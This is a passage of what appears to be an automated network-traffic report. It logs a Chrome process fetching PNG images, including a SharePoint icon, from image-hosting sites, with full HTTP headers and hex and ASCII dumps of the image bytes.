                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: cc 2c e7 15 83 2b 4f 2f 7b 40 3d da 0a e0 0b ee 3d d2 9c 03 be 9e d0 81 7c b2 fe fd 64 48 fa 7e 6b 88 06 5f c8 98 3f 76 07 7e 74 7f 71 86 d3 3e fc d5 5f bd c7 37 f1 e4 eb a8 5c 60 90 d5 dc b0 06 d0 3b 26 30 04 bd 44 ec 38 2e d2 0f 23 f2 9d 60 5b c9 dc ec 97 75 0d 8e 7f ac cf 3e 06 37 42 b3 32 09 85 69 fd 73 6c 01 4d b1 b8 9d f5 d5 be 46 df a7 cc fd ed 5c 43 ef 15 a9 df fe f8 b4 ef 65 c1 08 7e a4 85 e3 71 1b fd 27 77 16 9f 82 ca 1e 63 7d dc 84 7c 7c ba 67 7d 72 3b 9d b6 97 c7 6f bf 19 9c 46 b0 7d e6 14 bc d6 65 0a d7 48 9c 9f ec 82 ab 90 98 d7 cd f4 62 35 e4 b2 c9 b0 63 7c d0 f6 7e 39 66 bc 7b c9 12 9c 67 b9 a3 f1 fd bd ba bf 83 6e 6c 01 da d0 76 eb 82 fb b1 cf b1 0f 5e 1a f0 fa 6a 6a ae db 46 9c f9 9d c9 ed 31 7a bf f3 2d 70 88 7c 76 07 b2 3e 50 9f f4 c8
                                                                                                                                                                                      Data Ascii: ,+O/{@==|dH~k_?v~tq>_7\`;&0D8.#`[u>7B2islMF\Ce~q'wc}||g}r;oF}eHb5c|~9f{gnlv^jjF1z-p|v>P
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: b0 c4 bc 35 2b f4 95 d5 3f 9e 42 b3 69 e5 ad 99 77 f1 90 d9 db 1e d1 10 57 78 95 62 1d 57 65 10 62 c2 fa e1 ef a8 e2 c2 24 41 9f a3 08 7f 67 b2 8f d9 20 c6 54 a8 38 b2 04 a1 cf 11 cb 1b 82 b9 34 7e f7 8b 7d fa d8 bb a7 97 12 bc 4e cb 95 21 91 71 44 4d 78 35 eb 94 e6 79 79 8c f4 f1 4b 4d 7e 27 7b 98 9b 4a 63 3f b6 90 d5 0c 4d fb b4 91 6a 5f 12 a1 b1 3c cb e5 1d fa 98 e7 93 05 86 59 67 5c 4c 5b a2 a4 05 0c ba 8e c6 38 78 44 32 dd 22 6e 1c 4c 0a a9 60 7f 49 cf 76 1c 81 34 dc 4f b3 84 87 31 6f 35 37 30 be 6d c0 9d 50 98 b5 d6 fa 58 e5 51 a0 4f 91 61 e6 a4 6d 11 a4 ae c8 9e ec 75 29 f1 95 6e 5f e2 a4 d2 e7 90 55 32 f4 3e 73 4c 70 86 2f 9d 5a ce 42 50 65 c5 2e 27 e8 d7 16 9a 98 a7 f5 b0 3e b3 b1 cb 35 a6 dc f3 20 04 3f 7f 26 e2 57 59 c3 6d 8a 75 35 f6 05 e3 1e
                                                                                                                                                                                      Data Ascii: 5+?BiwWxbWeb$Ag T84~}N!qDMx5yyKM~'{Jc?Mj_<Yg\L[8xD2"nL`Iv4O1o570mPXQOamu)n_U2>sLp/ZBPe.'>5 ?&WYmu5
                                                                                                                                                                                      2024-05-10 19:31:20 UTC288INData Raw: 40 7f 0a e8 b3 b0 2e d0 05 fa a3 42 9f 85 f5 72 45 4d 14 f4 51 04 2f d0 d9 87 11 d6 05 7a a6 36 5e 58 17 e8 02 5d a0 3f 78 33 2b ac 0b 74 81 fe a8 bd 9a b0 2e d0 05 ba 40 3f 74 8c c2 ba 40 cf 9e 00 85 75 81 2e d0 05 ba 40 17 e8 02 fd 90 fe f2 89 58 1f 44 f0 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 3d 03 f4 45 58 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 fd a8 0a 5a 58 17 e8 02 5d a0 1f 38 66 61 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 7a e6 b1 08 eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d 46 da 50 c2 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81
                                                                                                                                                                                      Data Ascii: @.BrEMQ/z6^X]?x3+t.@?t@u.@XD]t.@=EX]t.@ZX]8fa]t.@]t.@]t.z]t.@]t.@]t.@]FP@]t.@]t.@]t


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      2192.168.2.449738199.232.192.1934434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:20 UTC364OUTGET /ZU3tO.png,%20&width=450 HTTP/1.1
                                                                                                                                                                                      Host: i.stack.imgur.com
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:20 UTC519INHTTP/1.1 200 OK
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Content-Length: 8514
                                                                                                                                                                                      Cache-Control: max-age=315360000
                                                                                                                                                                                      Content-Type: image/png
                                                                                                                                                                                      ETag: "51f7db54af24c4acfbe56682813c7401"
                                                                                                                                                                                      Expires: Thu, 31 Dec 2037 23:55:55 GMT
                                                                                                                                                                                      Last-Modified: Mon, 13 Feb 2017 05:29:55 GMT
                                                                                                                                                                                      Via: 1.1 varnish, 1.1 varnish
                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:20 GMT
                                                                                                                                                                                      Age: 155099
                                                                                                                                                                                      X-Served-By: cache-iad-kcgs7200052-IAD, cache-chi-kigq8000043-CHI
                                                                                                                                                                                      X-Cache: HIT, HIT
                                                                                                                                                                                      X-Cache-Hits: 29, 1
                                                                                                                                                                                      X-Timer: S1715369481.890296,VS0,VE1
                                                                                                                                                                                      Server: cat factory 1.0
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 03 e8 01 03 00 00 00 bc 90 f7 e9 00 00 00 06 50 4c 54 45 ff ff ff 09 71 ce 10 eb 4f f1 00 00 20 f7 49 44 41 54 78 da ed 5d bd b2 ec 4a 75 1e 2d 54 b7 84 8b 40 c6 04 ce dc a6 b0 cb 21 8f 20 5c 37 20 bc 8f 80 df 82 08 da 19 a1 9f c0 45 ee 04 67 64 f4 23 10 38 20 a0 0a 85 04 b7 6c 05 2e a3 a2 84 e4 7b f6 d9 3f d2 a8 7f d6 ea 5e dd 92 66 56 43 dd 73 ce de 33 dd fd ad ef 5b 7f 3d 1a e9 76 3b e3 e8 4a 2c 02 b7 a7 1d 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 79 47 2b ac 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 fd 44 43 0b eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b f4 c4 d1 09 eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02
                                                                                                                                                                                      Data Ascii: PNGIHDRPLTEqO IDATx]Ju-T@! \7 Egd#8 l.{?^fVCs3[=v;J,]t.@yG+t.@]t.@DC]t.@]t.@]]t.@
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: e3 da e1 ca e2 96 93 66 f2 5c 1d 97 ff 01 63 a7 c1 ed e6 65 58 af 88 91 17 30 31 b5 da ce db f0 79 41 38 ea e4 6b a5 9b 62 7e 48 5b 23 42 bc 35 bb 59 b8 12 09 24 4e d5 66 53 40 53 e3 33 a7 ca cf 7a 6c 7b db a0 d4 c1 7f 11 b1 7a c1 a7 ec ec 00 01 63 75 fb ab ab 25 f4 da e3 70 87 97 34 5d 81 18 11 0b bd 0e 6d bd b3 8a a5 f6 64 88 82 b7 20 6a 10 69 34 8f c5 35 f9 d7 2d 12 4b e9 e4 66 5f bd 63 ec 68 3b 76 e4 8a 13 7a 7d 8e 5b 85 b7 89 32 4d 0d 73 75 15 65 71 44 91 7b 54 98 63 0f 44 15 46 be 15 34 94 83 8e 5a a7 ac fd 02 bd 4a 0a 74 da 1a b4 e2 a2 51 9d 29 f5 76 b6 3d 41 9a 93 b9 cd ab e2 62 4f 4b 7b b9 4a f0 1b 40 54 c0 fa 76 f8 50 2b d3 7c 83 b4 ab 3e 44 d2 f1 f9 7a e7 93 cd 2f f8 0f 1f a8 5b 6f 3b a6 70 f4 19 7a 5d a0 9e ed f0 d4 16 31 61 fe 1a be 61 50 79
                                                                                                                                                                                      Data Ascii: f\ceX01yA8kb~H[#B5Y$NfS@S3zl{zcu%p4]md ji45-Kf_ch;vz}[2MsueqD{TcDF4ZJtQ)v=AbOK{J@TvP+|>Dz/[o;pz]1aaPy
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: 23 0b 85 8d 64 9b d4 8e 16 30 b9 40 ef 3e 51 42 85 4f fa 79 77 da a5 16 05 bf 43 56 07 ca ad 30 10 e5 42 d3 6c 78 ab 30 aa 5f 5d 62 93 e1 d1 23 ed cb 66 ab d5 be db 9d 84 1b 0b 74 ef e1 08 82 ab bf 4d 39 de a8 79 b0 bb fc a8 f1 09 72 77 f4 58 d9 f7 54 df 22 85 bf 35 e0 f7 09 ed 51 f7 be 5c 1d ef af 36 1b c2 c7 02 b8 69 14 a9 b4 6f 52 a2 ca bb ad 49 01 e2 e5 6b dd 35 e2 09 81 e0 2b 00 f4 de 62 35 a1 2b b5 ac de 51 2e 4f 69 ba e8 c6 0e c3 24 dc ba ce 5f 74 35 28 7e ba 7f c4 e9 9d 98 ba 15 e9 45 15 49 88 80 2d aa 29 7b 06 d4 8b 51 51 31 b2 89 c7 44 e7 e8 13 d9 6e 13 81 50 fb 04 fb 05 e9 10 3c 13 51 de cf a1 d5 26 bb 76 9f ff d3 ee 01 2a 0b 74 bd a7 15 6e 8e 2b 9b 5b f7 1d 51 5a 1a 4f 84 78 49 bb 9e b1 42 b2 0a 15 55 84 da aa a6 5f be 7b 52 ae af b8 55 c8 a0
                                                                                                                                                                                      Data Ascii: #d0@>QBOywCV0Blx0_]b#ftM9yrwXT"5Q\6ioRIk5+b5+Q.Oi$_t5(~EI-){QQ1DnP<Q&v*tn+[QZOxIBU_{RU
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: ad 01 d7 77 f4 db ad 3f cb 11 c0 91 a3 7d ff a3 09 d6 79 b1 d0 2b 4f 5e a8 ae 61 1f ec 4d 94 1e 6c 40 04 eb f0 08 8e 54 e7 de 62 5b 30 76 52 61 74 ff f2 d0 25 8d 33 d0 e9 c0 03 57 ca ea af 39 c0 30 14 e8 d3 79 fa eb e4 f1 8b 2f 39 58 f7 54 c1 e7 4d 1b 90 f0 58 d1 f8 e4 bd 9c 22 c8 ab 07 0e 73 7e 6e da f6 91 23 fc e4 b5 0b 74 59 a1 17 6f 88 06 fc a1 58 f5 4b 98 4e c1 50 57 7e c9 bf 83 e6 f6 7c e3 93 32 7e fa 9f cf 78 40 f5 79 7c 95 ef 26 57 a7 1e f3 b2 1c 13 e1 87 13 80 ff f3 ed 49 05 3f 7e 73 cf 5f 4e e8 c6 ad af c3 a2 99 73 47 c3 ed 24 c9 ad f8 30 09 4d ab be 38 76 9d d1 d7 d5 b9 81 7b 59 ef 8f 28 ae 39 87 af 45 fc af db 93 46 f8 f9 13 ed c0 3d e7 09 94 8c 11 c4 f0 ac ac bf 0c a0 5b cc 1c 9a 90 f3 40 bf 90 ae d3 2a b9 cf 91 16 72 2f 52 be 54 41 78 fa 68
                                                                                                                                                                                      Data Ascii: w?}y+O^aMl@Tb[0vRat%3W90y/9XTMX"s~n#tYoXKNPW~|2~x@y|&WI?~s_NsG$0M8v{Y(9EF=[@*r/RTAxh
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: cc 2c e7 15 83 2b 4f 2f 7b 40 3d da 0a e0 0b ee 3d d2 9c 03 be 9e d0 81 7c b2 fe fd 64 48 fa 7e 6b 88 06 5f c8 98 3f 76 07 7e 74 7f 71 86 d3 3e fc d5 5f bd c7 37 f1 e4 eb a8 5c 60 90 d5 dc b0 06 d0 3b 26 30 04 bd 44 ec 38 2e d2 0f 23 f2 9d 60 5b c9 dc ec 97 75 0d 8e 7f ac cf 3e 06 37 42 b3 32 09 85 69 fd 73 6c 01 4d b1 b8 9d f5 d5 be 46 df a7 cc fd ed 5c 43 ef 15 a9 df fe f8 b4 ef 65 c1 08 7e a4 85 e3 71 1b fd 27 77 16 9f 82 ca 1e 63 7d dc 84 7c 7c ba 67 7d 72 3b 9d b6 97 c7 6f bf 19 9c 46 b0 7d e6 14 bc d6 65 0a d7 48 9c 9f ec 82 ab 90 98 d7 cd f4 62 35 e4 b2 c9 b0 63 7c d0 f6 7e 39 66 bc 7b c9 12 9c 67 b9 a3 f1 fd bd ba bf 83 6e 6c 01 da d0 76 eb 82 fb b1 cf b1 0f 5e 1a f0 fa 6a 6a ae db 46 9c f9 9d c9 ed 31 7a bf f3 2d 70 88 7c 76 07 b2 3e 50 9f f4 c8
                                                                                                                                                                                      Data Ascii: ,+O/{@==|dH~k_?v~tq>_7\`;&0D8.#`[u>7B2islMF\Ce~q'wc}||g}r;oF}eHb5c|~9f{gnlv^jjF1z-p|v>P
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: b0 c4 bc 35 2b f4 95 d5 3f 9e 42 b3 69 e5 ad 99 77 f1 90 d9 db 1e d1 10 57 78 95 62 1d 57 65 10 62 c2 fa e1 ef a8 e2 c2 24 41 9f a3 08 7f 67 b2 8f d9 20 c6 54 a8 38 b2 04 a1 cf 11 cb 1b 82 b9 34 7e f7 8b 7d fa d8 bb a7 97 12 bc 4e cb 95 21 91 71 44 4d 78 35 eb 94 e6 79 79 8c f4 f1 4b 4d 7e 27 7b 98 9b 4a 63 3f b6 90 d5 0c 4d fb b4 91 6a 5f 12 a1 b1 3c cb e5 1d fa 98 e7 93 05 86 59 67 5c 4c 5b a2 a4 05 0c ba 8e c6 38 78 44 32 dd 22 6e 1c 4c 0a a9 60 7f 49 cf 76 1c 81 34 dc 4f b3 84 87 31 6f 35 37 30 be 6d c0 9d 50 98 b5 d6 fa 58 e5 51 a0 4f 91 61 e6 a4 6d 11 a4 ae c8 9e ec 75 29 f1 95 6e 5f e2 a4 d2 e7 90 55 32 f4 3e 73 4c 70 86 2f 9d 5a ce 42 50 65 c5 2e 27 e8 d7 16 9a 98 a7 f5 b0 3e b3 b1 cb 35 a6 dc f3 20 04 3f 7f 26 e2 57 59 c3 6d 8a 75 35 f6 05 e3 1e
                                                                                                                                                                                      Data Ascii: 5+?BiwWxbWeb$Ag T84~}N!qDMx5yyKM~'{Jc?Mj_<Yg\L[8xD2"nL`Iv4O1o570mPXQOamu)n_U2>sLp/ZBPe.'>5 ?&WYmu5
                                                                                                                                                                                      2024-05-10 19:31:20 UTC288INData Raw: 40 7f 0a e8 b3 b0 2e d0 05 fa a3 42 9f 85 f5 72 45 4d 14 f4 51 04 2f d0 d9 87 11 d6 05 7a a6 36 5e 58 17 e8 02 5d a0 3f 78 33 2b ac 0b 74 81 fe a8 bd 9a b0 2e d0 05 ba 40 3f 74 8c c2 ba 40 cf 9e 00 85 75 81 2e d0 05 ba 40 17 e8 02 fd 90 fe f2 89 58 1f 44 f0 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 3d 03 f4 45 58 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 fd a8 0a 5a 58 17 e8 02 5d a0 1f 38 66 61 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 7a e6 b1 08 eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d 46 da 50 c2 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81
                                                                                                                                                                                      Data Ascii: @.BrEMQ/z6^X]?x3+t.@?t@u.@XD]t.@=EX]t.@ZX]8fa]t.@]t.@]t.z]t.@]t.@]t.@]FP@]t.@]t.@]t


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      3192.168.2.449739104.21.235.2144434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:20 UTC484OUTGET /icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.png HTTP/1.1
                                                                                                                                                                                      Host: icons.iconarchive.com
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: no-cors
                                                                                                                                                                                      Sec-Fetch-Dest: image
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:21 UTC690INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:21 GMT
                                                                                                                                                                                      Content-Type: image/png
                                                                                                                                                                                      Content-Length: 4033
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Last-Modified: Tue, 07 Feb 2023 10:06:28 GMT
                                                                                                                                                                                      ETag: "63e222a4-fc1"
                                                                                                                                                                                      Cache-Control: max-age=5356800
                                                                                                                                                                                      CF-Cache-Status: HIT
                                                                                                                                                                                      Age: 1464
                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6yowMtXkMrQ9hl44lOR6UTQgUB0z4OpK5uGJJyLaRhaUTUDAR9DoRiCt31D58Any%2B%2BjViZOn9oWlJ6sDmafa7QioySkvMoKmERIzler3DBV5NNotV9Zt5bqcNJKYLedvugOAMX%2F0Ls%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5958dc1f02c8-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:21 UTC679INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 03 00 50 4c 54 45 47 70 4c 00 6c b8 00 6a b4 00 6c b7 00 52 8f 00 52 8f 00 67 b3 00 5f a5 00 6f c0 00 72 c6 00 67 b3 00 69 b5 00 69 b4 00 67 b3 00 6c b9 00 6c b8 00 6e b9 00 67 b3 00 68 b2 00 6d bc 00 67 b3 00 68 b2 00 67 b3 00 6d bb 00 67 b3 00 67 b3 00 67 b3 00 72 c5 00 68 b2 00 67 b3 00 6c b9 00 69 b2 00 72 c6 00 68 b2 00 68 b2 00 72 c6 00 67 b3 00 67 b3 00 72 c6 00 6a b1 00 72 c5 00 72 c6 00 67 b3 00 72 c6 00 67 b3 00 69 b1 00 69 b1 00 67 b3 00 67 b3 00 67 b3 00 68 b2 00 72 c6 00 68 b3 00 67 b3 00 69 b2 00 69 b2 00 68 b2 00 68 b3 00 6f c0 00 72 c6 00 72 c6 00 68 b2 00 68 b2 00 68 b2 00 5c 9e 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00
                                                                                                                                                                                      Data Ascii: PNGIHDRkXTPLTEGpLljlRRg_orgiigllnghmghgmgggrhglirhhrggrjrrgrgiiggghrhgiihhorrhhh\rrrrrr
                                                                                                                                                                                      2024-05-10 19:31:21 UTC1369INData Raw: fe fe fe ff 4c 9a d7 73 b0 df 6a ab de 0d 75 c8 e5 f0 f9 f6 fa fd 62 a7 dc ba d8 ef 28 86 ce f1 f7 fc 4f 9d d7 da ea f7 b4 d5 ee 93 c2 e7 a6 cd eb cd e3 f4 5a a2 da 88 bc e4 8e c0 e6 5e a4 db 55 9e d8 67 a9 dd af d2 ed d0 e5 f5 79 b4 e0 18 7e cb 3e 92 d3 84 ba e3 2e 8a d0 ad d1 ec 03 6e c5 e8 f2 fa 94 c4 e7 e0 ee f8 c8 e0 f3 ab db b4 ca e2 f3 e9 f3 fa e9 f2 fa ab d0 ec c0 db f1 00 66 b4 a3 6a 8d ff 00 00 00 a1 74 52 4e 53 00 0b 09 03 14 ea e3 16 ec e9 f9 0d 02 fc 13 06 16 ee 28 1f c2 5b d0 19 af c6 f5 2a ab d8 1c 4d f7 68 b2 be df b6 d0 49 24 de 88 ee cc 51 22 f2 d3 fe 81 fc 46 7d 2c 43 30 9e 10 56 b9 71 40 3c 07 92 51 fa d9 44 6d 9e 3b e9 96 34 84 e3 76 68 32 cb 37 a1 a4 8b dc 7f f3 5e d5 f1 bb c6 62 a9 c2 37 e6 6d 88 f5 8e 48 40 7a a3 96 85 b1 ad 75 99
                                                                                                                                                                                      Data Ascii: Lsjub(OZ^Ugy~>.nfjtRNS([*MhI$Q"F},C0Vq@<QDm;4vh27^b7mH@zu
                                                                                                                                                                                      2024-05-10 19:31:21 UTC1369INData Raw: 68 a4 4c 16 9d de d8 5e 73 12 3e 00 98 e8 79 46 2c 0c c0 d0 72 91 39 fc c3 e7 74 16 03 63 8a 90 2d 7b 7e 80 0e a0 66 54 89 52 03 24 03 30 d5 ae 65 ce fd 9d 8d 0e d5 1f a3 8e 3a 75 f3 7b b8 00 20 91 71 09 fc 56 32 00 fa 08 f3 02 b8 d4 c8 79 9d 90 b5 a7 28 b8 00 cc 27 41 66 90 54 00 fa 1a c6 f8 0f 6c e7 19 27 65 c6 21 03 e4 33 12 c2 62 a9 00 74 db 18 00 5b 5c be d0 25 03 00 73 19 fb 65 cb d2 b4 da 29 8b 33 a2 06 07 89 3c 05 ae 33 00 6a 48 df 01 18 1c c2 d9 44 d0 63 5e be 98 00 ac 34 68 af 0f 01 80 18 be 46 8a 98 62 d1 00 0c d4 06 06 c0 1a 5f 02 18 c2 bf 87 be 2c 5a 22 80 0d 66 83 ef 00 74 eb c1 bf 75 96 9a 2e 56 1e c0 9c 02 bb 2b 69 df 01 00 79 ce 1a 29 8a 44 ba 09 5e 60 e6 01 1b 5a 28 9f 01 98 a6 72 ba 7f 9a 27 c5 63 90 20 6e e9 28 5f 79 0a 94 76 b1 83 fc
                                                                                                                                                                                      Data Ascii: hL^s>yF,r9tc-{~fTR$0e:u{ qV2y('AfTl'e!3bt[\%se)3<3jHDc^4hFb_,Z"ftu.V+iy)D^`Z(r'c n(_yv
                                                                                                                                                                                      2024-05-10 19:31:21 UTC616INData Raw: 00 ef fd 94 f3 38 3d ad dd 87 35 3e 74 d8 08 99 12 08 17 e0 be 84 d8 2f 4d 75 7b 97 ef 40 c5 90 bb 17 79 f7 14 c7 63 45 c3 81 97 00 c4 89 fb 00 25 3f 71 72 a4 e6 dc 8e 3f 73 61 5e 8e e3 59 9b 1e 1e ab ea 37 df 1c 4d 0b 2c 49 9e e4 2b 87 aa 4a 04 e0 fc 58 5d 2d d7 4b d2 b9 91 00 19 00 ce 13 d6 a3 01 d2 00 f1 85 00 69 80 59 a1 00 65 80 9c 0f 00 40 19 60 29 da 1f 58 d0 4c 14 eb 3b 2b fe 09 90 29 de 37 d7 fc f2 33 3b 83 90 fe cc 8e a6 00 e9 0f 2d 69 e2 45 fe e4 a2 9f 01 c4 a1 fe b1 b5 90 48 c4 01 dc 39 30 4f 5e 00 03 15 00 65 0a 20 0d 80 fc 37 47 4b 0b 11 07 88 05 88 03 7c 84 3a 40 3a e2 00 aa 00 c4 01 26 02 b4 01 e2 b2 11 07 98 05 d0 06 f0 e0 73 4a f2 00 c8 02 68 03 48 31 01 fc 09 20 26 48 f6 00 ce b7 c7 03 80 dc 01 ba 6e 90 90 39 00 08 e2 6f 91 59 00 00 02
                                                                                                                                                                                      Data Ascii: 8=5>t/Mu{@ycE%?qr?sa^Y7M,I+JX]-KiYe@`)XL;+)73;-iEH90O^e 7GK|:@:&sJhH1 &Hn9oY


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      4192.168.2.449741104.21.235.2134434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:21 UTC414OUTGET /icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.png HTTP/1.1
                                                                                                                                                                                      Host: icons.iconarchive.com
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:21 UTC690INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:21 GMT
                                                                                                                                                                                      Content-Type: image/png
                                                                                                                                                                                      Content-Length: 4033
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Last-Modified: Tue, 07 Feb 2023 10:06:28 GMT
                                                                                                                                                                                      ETag: "63e222a4-fc1"
                                                                                                                                                                                      Cache-Control: max-age=5356800
                                                                                                                                                                                      CF-Cache-Status: HIT
                                                                                                                                                                                      Age: 3197
                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2rLFMlFNz9h4mzswC1rYFBSGh%2F6WNojDStAm94xbjVdm2V%2B0308slOfppwBX7sRILj1eOwLfxq5cz61bfvb6x5N32DEWPZnMZKr%2BYbFj0hHWpdFA1oBTzM9MqMhkHqn3vEgxCHQljfg%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c595cbd776094-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:21 UTC679INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 03 00 50 4c 54 45 47 70 4c 00 6c b8 00 6a b4 00 6c b7 00 52 8f 00 52 8f 00 67 b3 00 5f a5 00 6f c0 00 72 c6 00 67 b3 00 69 b5 00 69 b4 00 67 b3 00 6c b9 00 6c b8 00 6e b9 00 67 b3 00 68 b2 00 6d bc 00 67 b3 00 68 b2 00 67 b3 00 6d bb 00 67 b3 00 67 b3 00 67 b3 00 72 c5 00 68 b2 00 67 b3 00 6c b9 00 69 b2 00 72 c6 00 68 b2 00 68 b2 00 72 c6 00 67 b3 00 67 b3 00 72 c6 00 6a b1 00 72 c5 00 72 c6 00 67 b3 00 72 c6 00 67 b3 00 69 b1 00 69 b1 00 67 b3 00 67 b3 00 67 b3 00 68 b2 00 72 c6 00 68 b3 00 67 b3 00 69 b2 00 69 b2 00 68 b2 00 68 b3 00 6f c0 00 72 c6 00 72 c6 00 68 b2 00 68 b2 00 68 b2 00 5c 9e 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00 72 c6 00
                                                                                                                                                                                      Data Ascii: PNGIHDRkXTPLTEGpLljlRRg_orgiigllnghmghgmgggrhglirhhrggrjrrgrgiiggghrhgiihhorrhhh\rrrrrr
